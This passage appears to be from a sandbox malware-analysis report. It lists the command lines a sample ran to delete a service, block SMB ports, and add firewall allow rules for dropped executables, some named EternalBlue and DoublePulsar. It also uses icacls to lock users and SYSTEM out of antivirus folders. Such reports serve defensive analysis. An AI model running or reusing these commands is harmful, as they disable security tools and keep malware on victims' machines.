                                                                                        C:\Windows\system32\cmd.exe /c sc delete MicrosoftMysql
                                                                                        2⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1608
                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                          sc delete MicrosoftMysql
                                                                                          3⤵
                                                                                          • Launches sc.exe
                                                                                          PID:4884
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                                                                        2⤵
                                                                                          PID:3120
                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                            netsh advfirewall set allprofiles state on
                                                                                            3⤵
                                                                                            • Modifies Windows Firewall
                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                            PID:4364
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                                                          2⤵
                                                                                            PID:2800
                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                              netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                                                              3⤵
                                                                                              • Modifies Windows Firewall
                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                              PID:1476
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                                            2⤵
                                                                                              PID:3396
                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                                                3⤵
                                                                                                • Modifies Windows Firewall
                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                PID:1420
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                                              2⤵
                                                                                                PID:3648
                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                  netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                                                  3⤵
                                                                                                  • Modifies Windows Firewall
                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                  PID:1788
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                                                2⤵
                                                                                                  PID:4876
                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                    netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                                                    3⤵
                                                                                                    • Modifies Windows Firewall
                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                    PID:420
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                  2⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:3332
                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                    netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                    3⤵
                                                                                                    • Modifies Windows Firewall
                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                    PID:4828
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                  2⤵
                                                                                                    PID:972
                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                      netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                      3⤵
                                                                                                      • Modifies Windows Firewall
                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                      PID:2004
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                    2⤵
                                                                                                      PID:4948
                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                        netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                        3⤵
                                                                                                        • Modifies Windows Firewall
                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:656
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                      2⤵
                                                                                                        PID:3512
                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                          netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                          3⤵
                                                                                                          • Modifies Windows Firewall
                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                          PID:4488
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                        2⤵
                                                                                                          PID:4672
                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                            netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                            3⤵
                                                                                                            • Modifies Windows Firewall
                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:4604
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                          2⤵
                                                                                                            PID:4440
                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                              netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                              3⤵
                                                                                                              • Modifies Windows Firewall
                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                              PID:4084
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                                            2⤵
                                                                                                              PID:3508
                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                                                3⤵
                                                                                                                • Modifies Windows Firewall
                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                PID:3516
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                                              2⤵
                                                                                                                PID:1760
                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                  netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                                                  3⤵
                                                                                                                  • Modifies Windows Firewall
                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                  PID:1600
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                                                2⤵
                                                                                                                  PID:4076
                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                    netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                                                    3⤵
                                                                                                                    • Modifies Windows Firewall
                                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                                    PID:1444
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                                                  2⤵
                                                                                                                    PID:3256
                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                      netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                                                      3⤵
                                                                                                                      • Modifies Windows Firewall
                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                                      PID:5096
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                                                    2⤵
                                                                                                                      PID:2924
                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                        netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                                                        3⤵
                                                                                                                        • Modifies Windows Firewall
                                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                                        PID:2356
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                                                      2⤵
                                                                                                                        PID:3216
                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                          netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                                                          3⤵
                                                                                                                          • Modifies Windows Firewall
                                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                                          PID:1384
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                                        2⤵
                                                                                                                          PID:3184
                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                            netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                                            3⤵
                                                                                                                            • Modifies Windows Firewall
                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:4108
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                                          2⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:1712
                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                            netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                                            3⤵
                                                                                                                            • Modifies Windows Firewall
                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                            PID:2976
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                                          2⤵
                                                                                                                            PID:3232
                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                              netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                                              3⤵
                                                                                                                              • Modifies Windows Firewall
                                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                                              PID:2828
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                                            2⤵
                                                                                                                              PID:3312
                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                                                3⤵
                                                                                                                                • Modifies Windows Firewall
                                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:2388
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                                PID:2408
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:3240
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                  PID:4840
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:1020
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:3856
                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                      icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:1760
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                      PID:4440
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:1608
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                        PID:1376
                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                          icacls "C:\Windows\svchost.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:3288
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                          PID:1952
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:4140
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                            PID:3220
                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                              icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                                                                                                              3⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              PID:1600
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                            2⤵
                                                                                                                                              PID:2296
                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:2592
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                                                                                                              2⤵
                                                                                                                                                PID:1304
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:3296
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                                                                2⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:2800
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:5096
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                                                                                                                2⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:3320
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:3852
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                2⤵
                                                                                                                                                  PID:4568
                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                    icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:2976
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny %username%:(OI)(CI)(F)
                                                                                                                                                  2⤵
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:1344
                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                    icacls "C:\Program Files (x86)\Zaxar" /deny Admin:(OI)(CI)(F)
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:3880
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3120
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:5000
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3256
                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                        icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:2292
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1828
                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                          icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                          3⤵
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          PID:3632
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1992
                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                            icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies file permissions
                                                                                                                                                            PID:4712
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2616
                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                              icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:4840
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5116
                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                                                                                                                3⤵
                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                PID:4488
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                                                              2⤵
                                                                                                                                                                PID:4788
                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                  icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                  PID:564
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:968
                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                    icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:5064
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:4140
                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                      icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                      PID:2200
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:2676
                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                        icacls "C:\Programdata\Driver Foundation Visions VHG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:3248
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1760
                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                          icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                          PID:1824
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:3296
                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                            icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:1584
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:4548
                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                              icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:3356
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                                                                                                                            2⤵
                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                            PID:1620
                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                              icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:3824
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:872
                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                PID:4744
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:3944
                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                  icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                  PID:2496
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:4048
                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                    icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                    PID:972
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:4732
                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                      icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                      PID:4308
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
